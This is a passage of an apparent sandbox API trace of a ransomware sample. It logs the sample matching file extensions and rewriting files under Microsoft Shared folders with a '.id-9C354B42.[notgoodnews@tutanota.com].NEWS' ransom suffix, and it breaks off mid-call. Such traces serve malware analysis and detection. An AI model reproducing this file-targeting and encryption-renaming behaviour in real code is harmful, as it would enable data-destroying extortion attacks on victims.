[0051.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.508] lstrlenW (lpString=".dbf") returned 4 [0051.508] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.508] lstrlenW (lpString=".1cd") returned 4 [0051.508] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0051.508] lstrlenW (lpString=".jpg") returned 4 [0051.508] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.508] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.508] lstrlenW (lpString="base_kor.xml") returned 12 [0051.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.510] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=488) returned 1 [0051.510] CloseHandle (hObject=0x1a8) returned 1 [0051.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0051.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.511] lstrlenW (lpString=".doc") returned 4 [0051.511] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.511] lstrlenW (lpString=".docx") returned 5 [0051.511] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0051.511] lstrlenW (lpString=".pdf") returned 4 [0051.511] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.511] lstrlenW (lpString=".xls") returned 4 [0051.511] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.511] lstrlenW (lpString=".xlsx") returned 5 [0051.511] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0051.511] lstrlenW (lpString=".ppt") returned 4 [0051.511] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.511] lstrlenW (lpString=".zip") returned 4 [0051.511] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.511] lstrlenW (lpString=".rar") returned 4 [0051.512] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.512] lstrlenW (lpString=".bz2") returned 4 [0051.512] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.512] lstrlenW (lpString=".7z") returned 3 [0051.512] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.512] lstrlenW (lpString=".dbf") returned 4 [0051.512] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.512] lstrlenW (lpString=".1cd") returned 4 [0051.512] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.512] lstrlenW (lpString=".jpg") returned 4 [0051.512] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.512] lstrlenW (lpString=".doc") returned 4 [0051.512] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.513] lstrlenW (lpString=".docx") returned 5 [0051.513] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0051.513] lstrlenW (lpString=".pdf") returned 4 [0051.513] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.513] lstrlenW (lpString=".xls") returned 4 [0051.513] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.513] lstrlenW (lpString=".xlsx") returned 5 [0051.513] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0051.513] lstrlenW (lpString=".ppt") returned 4 [0051.513] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.513] lstrlenW (lpString=".zip") returned 4 [0051.513] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.513] lstrlenW (lpString=".rar") returned 4 [0051.515] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.515] lstrlenW (lpString=".bz2") returned 4 [0051.515] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.515] lstrlenW (lpString=".7z") returned 3 [0051.516] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.516] lstrlenW (lpString=".dbf") returned 4 [0051.516] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.516] lstrlenW (lpString=".1cd") returned 4 [0051.516] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0051.516] lstrlenW (lpString=".jpg") returned 4 [0051.516] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.516] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.516] lstrlenW (lpString="base_rtl.xml") returned 12 [0051.516] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.517] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=617) returned 1 [0051.517] CloseHandle (hObject=0x1a8) returned 1 [0051.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0051.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.517] lstrlenW (lpString=".doc") returned 4 [0051.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.517] lstrlenW (lpString=".docx") returned 5 [0051.518] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0051.518] lstrlenW (lpString=".pdf") returned 4 [0051.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.518] lstrlenW (lpString=".xls") returned 4 [0051.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.518] lstrlenW (lpString=".xlsx") returned 5 [0051.518] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0051.518] lstrlenW (lpString=".ppt") returned 4 [0051.518] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.518] lstrlenW (lpString=".zip") returned 4 [0051.518] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.518] lstrlenW (lpString=".rar") returned 4 [0051.518] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.518] lstrlenW (lpString=".bz2") returned 4 [0051.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.518] lstrlenW (lpString=".7z") returned 3 [0051.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.518] lstrlenW (lpString=".dbf") returned 4 [0051.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.519] lstrlenW (lpString=".1cd") returned 4 [0051.519] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.519] lstrlenW (lpString=".jpg") returned 4 [0051.519] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.519] lstrlenW (lpString=".doc") returned 4 [0051.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.519] lstrlenW (lpString=".docx") returned 5 [0051.519] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0051.519] lstrlenW (lpString=".pdf") returned 4 [0051.519] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.519] lstrlenW (lpString=".xls") returned 4 [0051.519] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.520] lstrlenW (lpString=".xlsx") returned 5 [0051.520] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0051.520] lstrlenW (lpString=".ppt") returned 4 [0051.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.520] lstrlenW (lpString=".zip") returned 4 [0051.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.520] lstrlenW (lpString=".rar") returned 4 [0051.520] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.520] lstrlenW (lpString=".bz2") returned 4 [0051.520] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.520] lstrlenW (lpString=".7z") returned 3 [0051.520] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.520] lstrlenW (lpString=".dbf") returned 4 [0051.520] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.520] lstrlenW (lpString=".1cd") returned 4 [0051.520] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0051.521] lstrlenW (lpString=".jpg") returned 4 [0051.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.521] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.521] lstrlenW (lpString="ja-jp.xml") returned 9 [0051.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.523] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=16616) returned 1 [0051.523] CloseHandle (hObject=0x1a8) returned 1 [0051.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0051.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.523] lstrlenW (lpString=".doc") returned 4 [0051.523] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.523] lstrlenW (lpString=".docx") returned 5 [0051.523] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0051.523] lstrlenW (lpString=".pdf") returned 4 [0051.524] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.524] lstrlenW (lpString=".xls") returned 4 [0051.524] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.524] lstrlenW (lpString=".xlsx") returned 5 [0051.524] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0051.524] lstrlenW (lpString=".ppt") returned 4 [0051.524] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.524] lstrlenW (lpString=".zip") returned 4 [0051.524] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.524] lstrlenW (lpString=".rar") returned 4 [0051.524] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.524] lstrlenW (lpString=".bz2") returned 4 [0051.524] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.524] lstrlenW (lpString=".7z") returned 3 [0051.524] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.524] lstrlenW (lpString=".dbf") returned 4 [0051.524] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.525] lstrlenW (lpString=".1cd") returned 4 [0051.525] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.525] lstrlenW (lpString=".jpg") returned 4 [0051.525] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.525] lstrlenW (lpString=".doc") returned 4 [0051.525] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.525] lstrlenW (lpString=".docx") returned 5 [0051.525] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0051.525] lstrlenW (lpString=".pdf") returned 4 [0051.525] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.525] lstrlenW (lpString=".xls") returned 4 [0051.525] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.525] lstrlenW (lpString=".xlsx") returned 5 [0051.526] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0051.526] lstrlenW (lpString=".ppt") returned 4 [0051.526] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.526] lstrlenW (lpString=".zip") returned 4 [0051.526] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.526] lstrlenW (lpString=".rar") returned 4 [0051.526] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.526] lstrlenW (lpString=".bz2") returned 4 [0051.526] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.526] lstrlenW (lpString=".7z") returned 3 [0051.526] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.526] lstrlenW (lpString=".dbf") returned 4 [0051.526] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.526] lstrlenW (lpString=".1cd") returned 4 [0051.526] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0051.526] lstrlenW (lpString=".jpg") returned 4 [0051.526] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.527] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.527] lstrlenW (lpString="ko-kr.xml") returned 9 [0051.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0051.527] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=15097) returned 1 [0051.527] CloseHandle (hObject=0x1a8) returned 1 [0051.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0051.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0051.528] lstrlenW (lpString=".doc") returned 4 [0051.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.528] lstrlenW (lpString=".docx") returned 5 [0051.528] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0051.528] lstrlenW (lpString=".pdf") returned 4 [0051.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.528] lstrlenW (lpString=".xls") returned 4 [0051.528] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.528] lstrlenW (lpString=".xlsx") returned 5 [0051.528] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0051.528] lstrlenW (lpString=".ppt") returned 4 [0051.528] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0051.528] lstrlenW (lpString=".zip") returned 4 [0051.528] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.529] lstrlenW (lpString=".rar") returned 4 [0051.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.529] lstrlenW (lpString=".bz2") returned 4 [0051.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.529] lstrlenW (lpString=".7z") returned 3 [0051.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0051.529] lstrlenW (lpString=".dbf") returned 4 [0051.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.530] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=9803) returned 1 [0051.530] CloseHandle (hObject=0x1a8) returned 1 [0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.531] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=11067) returned 1 [0051.531] CloseHandle (hObject=0x1a8) returned 1 [0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0051.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0054.396] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.397] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0054.397] GetLastError () returned 0x0 [0054.397] ReadFile (in: hFile=0x1ac, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x795, lpOverlapped=0x0) returned 1 [0054.419] WriteFile (in: hFile=0x170, 